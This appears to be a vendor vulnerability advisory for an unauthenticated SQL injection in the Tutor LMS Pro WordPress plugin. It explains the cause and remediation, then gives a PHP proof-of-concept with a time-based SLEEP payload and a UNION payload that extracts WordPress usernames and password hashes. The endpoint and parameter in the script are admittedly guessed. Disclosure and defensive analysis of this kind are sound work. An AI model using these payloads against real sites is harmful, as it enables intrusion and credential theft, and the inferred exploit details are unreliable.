Atomic Edge analysis of CVE-2026-22332 (metadata-based):
This vulnerability is an unauthenticated SQL injection in the Tutor LMS Pro WordPress plugin, affecting versions up to and including 3.8.3. The flaw allows attackers to execute arbitrary SQL commands, potentially leading to full database compromise. The CVSS score of 7.5 (High) reflects the network-based attack vector and high impact on confidentiality.
Atomic Edge research indicates the root cause is insufficient input sanitization and a lack of prepared statements in a specific SQL query. The description cites insufficient escaping on a user-supplied parameter and lack of sufficient preparation. This confirms a classic SQL injection flaw where user input is directly concatenated into an SQL command. The exact vulnerable function or endpoint is not confirmed from source code, but the CWE-89 classification points to a failure to neutralize special elements like quotes or backslashes before database interaction.
Exploitation likely targets a public-facing AJAX handler or REST API endpoint. A common pattern in WordPress plugins involves registering an AJAX action with no privilege checks (using `wp_ajax_nopriv_`). The attacker would send a POST request to `/wp-admin/admin-ajax.php` with an `action` parameter matching a Tutor LMS Pro hook, such as `tutor_pro_*`. The malicious SQL payload would be placed in another parameter, like `id` or `search`. Example payloads could include UNION-based queries or time-based blind injection techniques to extract data.
Remediation requires implementing proper input validation and using parameterized queries. The WordPress `$wpdb` class provides prepared statement methods like `$wpdb->prepare()`. The fix must ensure all user input passed to SQL queries is properly escaped or, preferably, passed as parameters in a prepared statement. Nonce and capability checks should also be added to prevent unauthorized access, but the primary issue is the SQL injection vector itself.
Successful exploitation grants an unauthenticated attacker the ability to read sensitive information from the WordPress database. This includes user credentials (hashed passwords), personal data, course content, payment records, and other proprietary information stored by the Tutor LMS Pro plugin. The attack could lead to full site compromise if administrative credentials are extracted, or it could facilitate further attacks through data disclosure.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-22332 - Tutor LMS Pro <= 3.8.3 - Unauthenticated SQL Injection
<?php
/**
* Proof-of-concept for CVE-2026-22332.
* This script demonstrates a time-based blind SQL injection attack against a vulnerable endpoint.
* The exact AJAX action and parameter are inferred from common plugin patterns.
* Assumptions: The target runs a vulnerable Tutor LMS Pro version, and the endpoint is accessible.
*/
$target_url = 'http://target-site.com/wp-admin/admin-ajax.php'; // CONFIGURE THIS
// Inferred AJAX action. Tutor Pro plugins often use 'tutor_pro_' prefix for hooks.
// This is a common pattern, but the actual action may differ.
$ajax_action = 'tutor_pro_get_course_data';
// Parameter likely to be vulnerable (e.g., 'id', 'course_id', 'search_term').
$vuln_param = 'id';
// Time-based payload to test for vulnerability. Causes a delay if injection is successful.
// Uses MySQL SLEEP() function. Adjust sleep time if network latency is high.
$payload = "1' AND SLEEP(5) AND '1'='1";
// Build POST data
$post_data = array(
'action' => $ajax_action,
$vuln_param => $payload
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 15); // Increase timeout to detect sleep
// Measure response time
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$elapsed = $end_time - $start_time;
curl_close($ch);
// Analyze result
if ($elapsed >= 5) {
echo "[+] Potential SQL Injection vulnerability detected. Response delayed by " . round($elapsed, 2) . " seconds.n";
echo "[+] The endpoint '{$ajax_action}' with parameter '{$vuln_param}' may be vulnerable.n";
} else {
echo "[-] No time delay detected. The inferred endpoint/parameter may be incorrect, or the site is not vulnerable.n";
echo "[-] Elapsed time: " . round($elapsed, 2) . " seconds.n";
}
// Note: For a full exploit, replace the payload with UNION-based queries to extract data.
// Example: '1 UNION SELECT user_login,user_pass FROM wp_users WHERE '1'='1'
?>
